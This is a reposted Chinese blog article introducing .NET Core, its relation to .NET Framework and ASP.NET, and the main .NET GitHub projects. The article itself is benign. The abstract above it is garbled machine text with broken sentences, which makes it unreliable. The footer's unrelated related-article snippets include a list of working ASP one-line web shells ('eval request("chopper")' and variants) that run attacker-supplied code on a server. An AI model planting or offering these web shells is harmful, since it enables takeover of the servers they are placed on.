DotNet Core 介绍

摘要:
目录dotnetcore和。网github中dotnetcore的每个项的状态。1.dotnetcore和。网目前,在使用C#开发应用程序时。在Mono的帮助下,Net Framework只能在Windows或其他平台上运行。原因。NetCore带来的一个核心是它包含的一些核心功能和特性。NetFramework。

前言

asp.net core rtm 6月底即将发布,自己也想着为社区做点共享,刚好最近不太忙,看到社区的小伙伴们都在为dotnet core的推广而贡献力量,项目中刚好在用rc2版本,就多写些文章来帮助那些还在学习的朋友们吧。


目录

  • dotnet core 和 .net的区别
  • github中dotnet core各个项目的状况

一、 dotnet core 和 .net的区别

目前在使用C#开发应用程序的时候,有两种框架可供选择: .Net Framework 和 .Net Core,那他们有什么不同的地方呢?或者说是微软为什么要做两个框架,在同一个平台上运行不好吗?就先让我们一起看看他们之间的不同。

大家都知道 .Net Core是跨平台的,除了运行在windows上之外,还可以运行在Linux和Mac OS上。而 .Net Framework只能运行在windows上或者借助于Mono运行于其他平台上。 .Net Core和 .Net Framework可以理解为一个子集和父集的关系,之所以 .Net Core带了个Core是因为它包含了 .Net Framework的一些核心的功能和特性,比如它们共享GC (Garbage Collection,垃圾收集,垃圾回收),jit(Just-In-Time )编译器,还有类型系统和语言特性等。

  • 那么 asp.net 和 asp.net core 的区别呢?

    asp.net 目前的版本是asp.net 4.6,它已经被使用了很多年了,它比较稳定,如果你的系统不需要跨平台,只是在windows上运行的话,可以使用asp.net 4.6, 它很稳定并且很多第三方库都对其进行了支持。

    asp.net core 是采用了 .net core的新一代asp.net架构程序。目前的版本是RC2。后面会对其进行大量介绍。

下面这张图就是他们之间的关系:
image

二、 github中dotnet core各个项目的状况

有一点值得我们开发者高兴的是,现在微软 .net 相关的大多数项目都是开源的,托管在github上,我建议大家有不懂的地方多去查看源代码,来了解其中的运行原理,以便于对知识的更好的理解和吸收。

  • .NET Compiler Platform ("Roslyn")
    .NET编译器。提供的开源Csharp和Visual Basic编译器及代码解析API

  • .NET Core Framework
    也被叫做CoreFx,提供Core的基础程序集类库,它包括collections, file systems, console, XML, async等.

  • .NET Core Runtime
    也被叫做CoreCLR,它包括了 .net core的runtime(运行时),和mscorlib(基础库),它包含的有GC(垃圾回收),JIT(just-in-time)编译器, 类型系统(.NET data types),和其他一些底层的类库。

  • ASP.NET Core
    它包含以下Project:

    1. DependencyInjection - 基础的依赖注入项目和默认的实现
    2. EntityFramework - ORM 数据库访问组件
    3. Identity - 用户身份验证系统
    4. MVC - Web项目的MVC框架
    5. Razor - MVC的模板语言和CSHTML文件语法解析
    6. Templates - Visual Studio新建项目的默认模板
    7. Tooling - Visual Studio 工具集, 编辑器 等

本文地址:http://www.cnblogs.com/savorboard/p/5579689.html
作者博客:Savorboard
欢迎转载,请保留出处

免责声明:文章转载自《DotNet Core 介绍》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇css3制作旋转动画接口回调之简要理解下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

MySQL-查询结果缓存

  众所周知,系统读取数据时,从内存中读取要比从硬盘上速度要快好几百倍。故现在绝大部分应用系统,都会最大程度的使用缓存(内存中的一个存储区域),来提高系统的运行效率。MySQL数据库也不例外。在这里,笔者将结合自己的工作经验,跟大家探讨一下,MySQL数据库中缓存的管理技巧:如何合理配置MySQL数据库缓存,提高缓存命中率。  合理配置MySQL缓存 提高...

Springboot的开发环境(dev)、测试环境(beta)和生产环境(product)打包部署

1、在项目开发过程中需要考虑不同的运行环境:开发环境(dev)、测试环境(beta)和生产环境(product)。在以往的开发过程中通常使用Maven构建工具进行控制,但却需要进行大量的配置。SpringBoot考虑到此类问题,专门设计了profile支持。   备注:尤其是项目开发完毕,在正式环境部署的时候出现问题,进行本地调试的时候就头疼了,因为正式环...

ubuntu12中设置PATH环境变量的几种方法(三种办法)

如果在Ubuntu12系统中自行安装了一些软件,特别是使用tar.gz文件包安装的软件,通常会放在/usr/local或者/opt,甚至放在/home下,但是如果要调用或执行时,必须加上完整的路径才可以,因为Ubuntu系统默认只执行/bin和/usr/bin下的程序,这非常不方便。一种简单的方法是直接将自己的可执行程序复制到/bin或者/usr/bin...

NodeJs接口token认证express框架passport实现方式Bearer认证

1.生成一个简单的express项目(命令:express passport-test),项目结构如下: 2.添加项目依赖: npm install passport --save npm install passport-http-bearer --save 3.在项目下新建 modules/auth.js 文件,内容如下 : var pp = req...

一句话木马:ASP篇

ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%> <%execute(request("chopper"))%> <%ExecuteGlobal request("chopper")%> <%Eval(Reque...

十一、ASP.NET Boilerplate

一、ASP.NET Boilerplate 实体是 DDD(领域驱动设计)的核心概念之一。Eric Evans 是这样描述的“很多对象不是通过它们的属性定义的,而是通过一连串的连续性事件和标识定义的”(引用领域驱动设计一书)。 译者注:对象不是通过它们的属性来下根本性的定义,而应该是通过它的线性连续性和标识性定义的。 所以,实体是具有唯一标识的ID且存储...